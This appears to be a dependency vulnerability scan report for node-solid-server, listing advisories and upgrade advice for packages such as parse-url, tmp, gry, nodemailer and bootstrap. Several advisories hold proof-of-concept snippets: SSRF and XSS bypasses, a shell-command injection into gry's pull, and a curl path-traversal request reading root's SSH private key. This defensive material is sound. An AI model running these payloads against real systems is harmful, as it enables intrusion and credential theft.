Vulnerabilities

23 via 71 paths

Dependencies

633

Source

GitHub

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 23
  • 6
Severity
  • 1
  • 8
  • 18
  • 2
Status
  • 29
  • 0
  • 0

critical severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: parse-url
  • Introduced through: rdflib@2.4.0, @solid/acl-check@0.4.5 and others

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server rdflib@2.4.0 package.json@2.0.1 git-source@1.1.11 git-url-parse@5.0.1 git-up@1.2.1 parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server @solid/acl-check@0.4.5 rdflib@2.4.0 package.json@2.0.1 git-source@1.1.11 git-url-parse@5.0.1 git-up@1.2.1 parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server @solid/oidc-auth-manager@0.25.2 rdflib@2.4.0 package.json@2.0.1 git-source@1.1.11 git-url-parse@5.0.1 git-up@1.2.1 parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server mashlib@2.2.2 rdflib@2.4.0 package.json@2.0.1 git-source@1.1.11 git-url-parse@5.0.1 git-up@1.2.1 parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server mashlib@2.2.2 solid-panes@4.4.2 folder-pane@3.1.0 rdflib@2.4.0 package.json@2.0.1 git-source@1.1.11 git-url-parse@5.0.1 git-up@1.2.1 parse-url@1.3.11

Overview

parse-url is an An advanced url parser supporting git urls too.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) in the parseUrl function, due to mishandling hostnames when processing usernames and passwords.

PoC:

const parseUrl = require("parse-url");
const express = require('express');
const http = require('http');
const app = express();

const isLocal = () => (req, res, next) => (req.connection.remoteAddress === '::ffff:127.0.0.1'|| req.connection.remoteAddress === '::1' ? true:false)
    ? next()
    : res.json({'state':'You\'re not locally'});

parsed = parseUrl("http://google:com:@@127.0.0.1:9999/ssrf_check");
console.log(parsed);

app.get('/', (req, res) => {
    if(parsed.resource == '127.0.0.1'){
        res.send('Not good');
    } else{
        http.get(parsed.href)
        res.send('Good');
    }
});

app.get('/ssrf_check', isLocal(), (req, res) =>{
    console.log('ssrf bypass');
    res.send(true);
});

app.listen(9999);

Remediation

Upgrade parse-url to version 6.0.1 or higher.

References

high severity

Directory Traversal

  • Vulnerable module: tmp
  • Introduced through: rdflib@2.4.0, @solid/acl-check@0.4.5 and others

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server rdflib@2.4.0 package.json@2.0.1 git-package-json@1.4.11 tmp@0.0.28
  • Introduced through: solid-server@solid/node-solid-server @solid/acl-check@0.4.5 rdflib@2.4.0 package.json@2.0.1 git-package-json@1.4.11 tmp@0.0.28
  • Introduced through: solid-server@solid/node-solid-server @solid/oidc-auth-manager@0.25.2 rdflib@2.4.0 package.json@2.0.1 git-package-json@1.4.11 tmp@0.0.28
  • Introduced through: solid-server@solid/node-solid-server mashlib@2.2.2 rdflib@2.4.0 package.json@2.0.1 git-package-json@1.4.11 tmp@0.0.28
  • Introduced through: solid-server@solid/node-solid-server mashlib@2.2.2 solid-panes@4.4.2 folder-pane@3.1.0 rdflib@2.4.0 package.json@2.0.1 git-package-json@1.4.11 tmp@0.0.28

Overview

Affected versions of this package are vulnerable to Directory Traversal via unsanitized input in the prefix, postfix, or dir parameters during path construction. An attacker can create files outside the intended temporary directory, potentially overwriting or placing files in sensitive locations, by supplying crafted values containing traversal sequences or absolute paths.

Note:

The fix for this issue was incomplete and led to a bypass, known as CVE-2026-49982. Users are recommended to upgrade to version 0.2.7 to get a complete fix for this issue.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tmp to version 0.2.6 or higher.

References

high severity

Directory Traversal

  • Vulnerable module: tmp
  • Introduced through: rdflib@2.4.0, @solid/acl-check@0.4.5 and others

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server rdflib@2.4.0 package.json@2.0.1 git-package-json@1.4.11 tmp@0.0.28
  • Introduced through: solid-server@solid/node-solid-server @solid/acl-check@0.4.5 rdflib@2.4.0 package.json@2.0.1 git-package-json@1.4.11 tmp@0.0.28
  • Introduced through: solid-server@solid/node-solid-server @solid/oidc-auth-manager@0.25.2 rdflib@2.4.0 package.json@2.0.1 git-package-json@1.4.11 tmp@0.0.28
  • Introduced through: solid-server@solid/node-solid-server mashlib@2.2.2 rdflib@2.4.0 package.json@2.0.1 git-package-json@1.4.11 tmp@0.0.28
  • Introduced through: solid-server@solid/node-solid-server mashlib@2.2.2 solid-panes@4.4.2 folder-pane@3.1.0 rdflib@2.4.0 package.json@2.0.1 git-package-json@1.4.11 tmp@0.0.28

Overview

Affected versions of this package are vulnerable to Directory Traversal due to the improper sanitization of non-string values in the prefix, postfix, or dir parameters during path construction. An attacker can create files outside the intended temporary directory, potentially overwriting or placing files in sensitive locations, by supplying crafted values containing traversal sequences or absolute paths.

Note:

This issue is due to an incomplete fix for CVE-2026-44705. Added _assertPath as a guard does not account for non-string values.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tmp to version 0.2.7 or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: ws
  • Introduced through: solid-ws@0.4.3

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server solid-ws@0.4.3 ws@7.5.13

Overview

ws is a simple to use websocket client, server and console for node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the receiver.js. An attacker can cause memory exhaustion by sending incomplete fragmented WebSocket messages, specifically by transmitting a text frame with FIN=0 followed by multiple continuation frames without completing the sequence, resulting in each fragment being stored as a separate Buffer object with significant overhead.

Remediation

Upgrade ws to version 8.21.1 or higher.

References

high severity

Command Injection

  • Vulnerable module: gry
  • Introduced through: rdflib@2.4.0, @solid/acl-check@0.4.5 and others

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server rdflib@2.4.0 package.json@2.0.1 git-package-json@1.4.11 gry@5.0.8
  • Introduced through: solid-server@solid/node-solid-server @solid/acl-check@0.4.5 rdflib@2.4.0 package.json@2.0.1 git-package-json@1.4.11 gry@5.0.8
  • Introduced through: solid-server@solid/node-solid-server @solid/oidc-auth-manager@0.25.2 rdflib@2.4.0 package.json@2.0.1 git-package-json@1.4.11 gry@5.0.8
  • Introduced through: solid-server@solid/node-solid-server mashlib@2.2.2 rdflib@2.4.0 package.json@2.0.1 git-package-json@1.4.11 gry@5.0.8
  • Introduced through: solid-server@solid/node-solid-server mashlib@2.2.2 solid-panes@4.4.2 folder-pane@3.1.0 rdflib@2.4.0 package.json@2.0.1 git-package-json@1.4.11 gry@5.0.8

Overview

gry is a minimalist NodeJS wrapper for the git commands. gry stands for the Git Repository.

Affected versions of this package are vulnerable to Command Injection in lib/index.js and example.js

PoC

// poc.js
const Repo = require("gry");
var myRepo = new Repo(".");
myRepo.pull('test; touch HACKED; #', function(){console.log('Finished!')})

Remediation

Upgrade gry to version 6.0.0 or higher.

References

high severity

CRLF Injection

  • Vulnerable module: nodemailer
  • Introduced through: nodemailer@7.0.13

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server nodemailer@7.0.13
    Remediation: Upgrade to nodemailer@8.0.9.

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to CRLF Injection via the comment field in the list message option. An attacker can inject arbitrary headers into generated email messages by supplying crafted input containing CRLF sequences.

Remediation

Upgrade nodemailer to version 8.0.9 or higher.

References

high severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: nodemailer
  • Introduced through: nodemailer@7.0.13

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server nodemailer@7.0.13
    Remediation: Upgrade to nodemailer@9.0.1.

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the message-level raw option bypassing disableFileAccess and disableUrlAccess flags. An attacker can access arbitrary local files or perform server-side request forgery by supplying crafted input to the raw field, which bypasses intended access restrictions and results in sensitive data being sent to an attacker-controlled recipient.

Remediation

Upgrade nodemailer to version 9.0.1 or higher.

References

high severity

AGPL-3.0 license

  • Module: standard-error
  • Introduced through: @solid/oidc-rp@0.12.1, @solid/solid-multi-rp-client@0.7.2 and others

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server @solid/oidc-rp@0.12.1 standard-http-error@2.0.1 standard-error@1.1.0
  • Introduced through: solid-server@solid/node-solid-server @solid/solid-multi-rp-client@0.7.2 @solid/oidc-rp@0.12.1 standard-http-error@2.0.1 standard-error@1.1.0
  • Introduced through: solid-server@solid/node-solid-server @solid/oidc-auth-manager@0.25.2 @solid/oidc-rp@0.12.1 standard-http-error@2.0.1 standard-error@1.1.0
  • Introduced through: solid-server@solid/node-solid-server solid-auth-client@2.5.6 @solid/oidc-rp@0.11.10 standard-http-error@2.0.1 standard-error@1.1.0
  • Introduced through: solid-server@solid/node-solid-server @solid/oidc-auth-manager@0.25.2 @solid/solid-multi-rp-client@0.7.2 @solid/oidc-rp@0.12.1 standard-http-error@2.0.1 standard-error@1.1.0

AGPL-3.0 license

high severity

AGPL-3.0 license

  • Module: standard-http-error
  • Introduced through: @solid/oidc-rp@0.12.1, @solid/solid-multi-rp-client@0.7.2 and others

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server @solid/oidc-rp@0.12.1 standard-http-error@2.0.1
  • Introduced through: solid-server@solid/node-solid-server @solid/solid-multi-rp-client@0.7.2 @solid/oidc-rp@0.12.1 standard-http-error@2.0.1
  • Introduced through: solid-server@solid/node-solid-server @solid/oidc-auth-manager@0.25.2 @solid/oidc-rp@0.12.1 standard-http-error@2.0.1
  • Introduced through: solid-server@solid/node-solid-server solid-auth-client@2.5.6 @solid/oidc-rp@0.11.10 standard-http-error@2.0.1
  • Introduced through: solid-server@solid/node-solid-server @solid/oidc-auth-manager@0.25.2 @solid/solid-multi-rp-client@0.7.2 @solid/oidc-rp@0.12.1 standard-http-error@2.0.1

AGPL-3.0 license

medium severity

CRLF Injection

  • Vulnerable module: nodemailer
  • Introduced through: nodemailer@7.0.13

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server nodemailer@7.0.13
    Remediation: Upgrade to nodemailer@8.0.5.

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to CRLF Injection via the name configuration configuration option. An attacker can inject arbitrary SMTP commands by supplying carriage return and line feed sequences, enabling unauthorized email sending, sender spoofing, and phishing attacks before authentication occurs.

Remediation

Upgrade nodemailer to version 8.0.5 or higher.

References

medium severity

Symlink Attack

  • Vulnerable module: tmp
  • Introduced through: rdflib@2.4.0, @solid/acl-check@0.4.5 and others

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server rdflib@2.4.0 package.json@2.0.1 git-package-json@1.4.11 tmp@0.0.28
  • Introduced through: solid-server@solid/node-solid-server @solid/acl-check@0.4.5 rdflib@2.4.0 package.json@2.0.1 git-package-json@1.4.11 tmp@0.0.28
  • Introduced through: solid-server@solid/node-solid-server @solid/oidc-auth-manager@0.25.2 rdflib@2.4.0 package.json@2.0.1 git-package-json@1.4.11 tmp@0.0.28
  • Introduced through: solid-server@solid/node-solid-server mashlib@2.2.2 rdflib@2.4.0 package.json@2.0.1 git-package-json@1.4.11 tmp@0.0.28
  • Introduced through: solid-server@solid/node-solid-server mashlib@2.2.2 solid-panes@4.4.2 folder-pane@3.1.0 rdflib@2.4.0 package.json@2.0.1 git-package-json@1.4.11 tmp@0.0.28

Overview

Affected versions of this package are vulnerable to Symlink Attack via the dir parameter. An attacker can cause files or directories to be written to arbitrary locations by supplying a crafted symbolic link that resolves outside the intended temporary directory.

PoC

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}

try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
}

Remediation

Upgrade tmp to version 0.2.4 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: parse-url
  • Introduced through: rdflib@2.4.0, @solid/acl-check@0.4.5 and others

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server rdflib@2.4.0 package.json@2.0.1 git-source@1.1.11 git-url-parse@5.0.1 git-up@1.2.1 parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server @solid/acl-check@0.4.5 rdflib@2.4.0 package.json@2.0.1 git-source@1.1.11 git-url-parse@5.0.1 git-up@1.2.1 parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server @solid/oidc-auth-manager@0.25.2 rdflib@2.4.0 package.json@2.0.1 git-source@1.1.11 git-url-parse@5.0.1 git-up@1.2.1 parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server mashlib@2.2.2 rdflib@2.4.0 package.json@2.0.1 git-source@1.1.11 git-url-parse@5.0.1 git-up@1.2.1 parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server mashlib@2.2.2 solid-panes@4.4.2 folder-pane@3.1.0 rdflib@2.4.0 package.json@2.0.1 git-source@1.1.11 git-url-parse@5.0.1 git-up@1.2.1 parse-url@1.3.11

Overview

parse-url is an An advanced url parser supporting git urls too.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to improper detection of protocol, resource, and pathname fields. Exploiting this vulnerability results in bypassing protocol verification.

PoC:

import parseUrl from "parse-url";
import fetch from 'node-fetch';
var parsed=parseUrl("http://nnnn@localhost:808:/?id=xss")
if(parsed.resource=="localhost"){
console.log("internal network access is blocked")
}
else{
   const response = await fetch('http://'+parsed.resource+parsed.pathname);
        console.log(response)
 }

Remediation

Upgrade parse-url to version 8.1.0 or higher.

References

medium severity

Use of a Cryptographic Primitive with a Risky Implementation

  • Vulnerable module: elliptic
  • Introduced through: @solid/oidc-op@0.12.1 and @solid/oidc-auth-manager@0.25.2

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server @solid/oidc-op@0.12.1 jwk-to-pem@2.0.7 elliptic@6.6.1
  • Introduced through: solid-server@solid/node-solid-server @solid/oidc-auth-manager@0.25.2 @solid/oidc-op@0.12.1 jwk-to-pem@2.0.7 elliptic@6.6.1
  • Introduced through: solid-server@solid/node-solid-server @solid/oidc-auth-manager@0.25.2 @solid/oidc-rs@0.7.0 jwk-to-pem@2.0.7 elliptic@6.6.1

Overview

elliptic is a fast elliptic-curve cryptography implementation in plain javascript.

Affected versions of this package are vulnerable to Use of a Cryptographic Primitive with a Risky Implementation due to the incorrect computation of the byte-length of k value with leading zeros resulting in its truncation. An attacker can obtain the secret key by analyzing both a faulty signature generated by a vulnerable implementation and a correct signature for the same inputs.

Note:

There is a distinct but related issue CVE-2024-48948.

Remediation

There is no fixed version for elliptic.

References

medium severity

Improper Validation of Specified Index, Position, or Offset in Input

  • Vulnerable module: uuid
  • Introduced through: solid-ws@0.4.3 and uuid@13.0.2

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server solid-ws@0.4.3 uuid@8.3.2
  • Introduced through: solid-server@solid/node-solid-server uuid@13.0.2
    Remediation: Upgrade to uuid@14.0.0.

Overview

uuid is a RFC4122 (v1, v4, and v5) compliant UUID library.

Affected versions of this package are vulnerable to Improper Validation of Specified Index, Position, or Offset in Input due to accepting external output buffers but not rejecting out-of-range writes (small buf or large offset). This inconsistency allows silent partial writes into caller-provided buffers.

PoC

cd /home/StrawHat/uuid
npm ci
npm run build

node --input-type=module -e "
import {v4,v5,v6} from './dist-node/index.js';
const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';
for (const [name,fn] of [
  ['v4',()=>v4({},new Uint8Array(8),4)],
  ['v5',()=>v5('x',ns,new Uint8Array(8),4)],
  ['v6',()=>v6({},new Uint8Array(8),4)],
]) {
  try { fn(); console.log(name,'NO_THROW'); }
  catch(e){ console.log(name,'THREW',e.name); }
}"

Remediation

Upgrade uuid to version 11.1.1, 14.0.0 or higher.

References

medium severity

Missing Release of Resource after Effective Lifetime

  • Vulnerable module: inflight
  • Introduced through: express-handlebars@5.3.5 and rimraf@3.0.2

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server express-handlebars@5.3.5 glob@7.2.3 inflight@1.0.6
  • Introduced through: solid-server@solid/node-solid-server rimraf@3.0.2 glob@7.2.3 inflight@1.0.6

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.

Exploiting this vulnerability results in crashing the node process or in the application crash.

Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.

To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.

PoC

const inflight = require('inflight');

function testInflight() {
  let i = 0;
  function scheduleNext() {
    let key = `key-${i++}`;
    const callback = () => {
    };
    for (let j = 0; j < 1000000; j++) {
      inflight(key, callback);
    }

    setImmediate(scheduleNext);
  }


  if (i % 100 === 0) {
    console.log(process.memoryUsage());
  }

  scheduleNext();
}

testInflight();

Remediation

There is no fixed version for inflight.

References

medium severity

Improper Certificate Validation

  • Vulnerable module: nodemailer
  • Introduced through: nodemailer@7.0.13

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server nodemailer@7.0.13
    Remediation: Upgrade to nodemailer@8.0.8.

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Improper Certificate Validation due to the use of rejectUnauthorized: false in the internal HTTPS client, which disables TLS certificate verification during OAuth2 token retrieval. An attacker can intercept sensitive OAuth2 credentials and tokens by performing a machine-in-the-middle attack on the HTTPS connection.

Remediation

Upgrade nodemailer to version 8.0.8 or higher.

References

medium severity

Cross-site Scripting

  • Vulnerable module: bootstrap
  • Introduced through: bootstrap@3.4.1

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server bootstrap@3.4.1
    Remediation: Upgrade to bootstrap@4.0.0.

Overview

bootstrap is a popular front-end framework for faster and easier web development.

Affected versions of this package are vulnerable to Cross-site Scripting through the data-loading-text attribute in the button component. An attacker can execute arbitrary JavaScript code by injecting malicious scripts into this attribute.

Note:

This vulnerability is under active investigation and it may be updated with further details.

PoC

<input 
  id="firstName" 
  type="text" 
  value="<script>alert('XSS Input Success')</script><span>Loading XSS</span>"
/>
<button
  class="btn btn-primary input-test"
  data-loading-text="<span>I'm Loading</span>"
  type="button"
>
  Click Me
</button>

<script>
$(function () {
  $('.input-test').click(function () {
    var inputValue = $('#firstName').val();
    $(this).data('loadingText', inputValue);
    $(this).button('loading', inputValue);
  });
});
</script>

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade bootstrap to version 4.0.0 or higher.

References

medium severity

Open Redirect

  • Vulnerable module: got
  • Introduced through: rdflib@2.4.0, @solid/acl-check@0.4.5 and others

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server rdflib@2.4.0 package.json@2.0.1 package-json@2.4.0 got@5.7.1
  • Introduced through: solid-server@solid/node-solid-server @solid/acl-check@0.4.5 rdflib@2.4.0 package.json@2.0.1 package-json@2.4.0 got@5.7.1
  • Introduced through: solid-server@solid/node-solid-server @solid/oidc-auth-manager@0.25.2 rdflib@2.4.0 package.json@2.0.1 package-json@2.4.0 got@5.7.1
  • Introduced through: solid-server@solid/node-solid-server mashlib@2.2.2 rdflib@2.4.0 package.json@2.0.1 package-json@2.4.0 got@5.7.1
  • Introduced through: solid-server@solid/node-solid-server mashlib@2.2.2 solid-panes@4.4.2 folder-pane@3.1.0 rdflib@2.4.0 package.json@2.0.1 package-json@2.4.0 got@5.7.1

Overview

Affected versions of this package are vulnerable to Open Redirect due to missing verification of requested URLs. It allowed a victim to be redirected to a UNIX socket.

Remediation

Upgrade got to version 11.8.5, 12.1.0 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: parse-url
  • Introduced through: rdflib@2.4.0, @solid/acl-check@0.4.5 and others

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server rdflib@2.4.0 package.json@2.0.1 git-source@1.1.11 git-url-parse@5.0.1 git-up@1.2.1 parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server @solid/acl-check@0.4.5 rdflib@2.4.0 package.json@2.0.1 git-source@1.1.11 git-url-parse@5.0.1 git-up@1.2.1 parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server @solid/oidc-auth-manager@0.25.2 rdflib@2.4.0 package.json@2.0.1 git-source@1.1.11 git-url-parse@5.0.1 git-up@1.2.1 parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server mashlib@2.2.2 rdflib@2.4.0 package.json@2.0.1 git-source@1.1.11 git-url-parse@5.0.1 git-up@1.2.1 parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server mashlib@2.2.2 solid-panes@4.4.2 folder-pane@3.1.0 rdflib@2.4.0 package.json@2.0.1 git-source@1.1.11 git-url-parse@5.0.1 git-up@1.2.1 parse-url@1.3.11

Overview

parse-url is an An advanced url parser supporting git urls too.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) due to improper sanitization of special characters for ASCII that start with \x and also for all Unicodes start with \u.

PoC:

const http = require("http");
const parseUrl = require("parse-url");
const url =  parseUrl('jav\u000Dascript://%0aalert(1)');
console.log(url)
const server = http.createServer((request, response) => {
    response.writeHead(200);
    if (url.scheme !== "javascript" && url.scheme !== null) {
        response.end("<a href=\'" + url.href + "\'>Wowww!</a>" );
    }
    else{
        response.end("Nooo!");
    }
});
server.listen(80, "127.0.0.1",function(){
    console.log("http://"+this.address().address+":"+this.address().port);
});

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade parse-url to version 6.0.1 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: parse-url
  • Introduced through: rdflib@2.4.0, @solid/acl-check@0.4.5 and others

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server rdflib@2.4.0 package.json@2.0.1 git-source@1.1.11 git-url-parse@5.0.1 git-up@1.2.1 parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server @solid/acl-check@0.4.5 rdflib@2.4.0 package.json@2.0.1 git-source@1.1.11 git-url-parse@5.0.1 git-up@1.2.1 parse-url@1.3.11
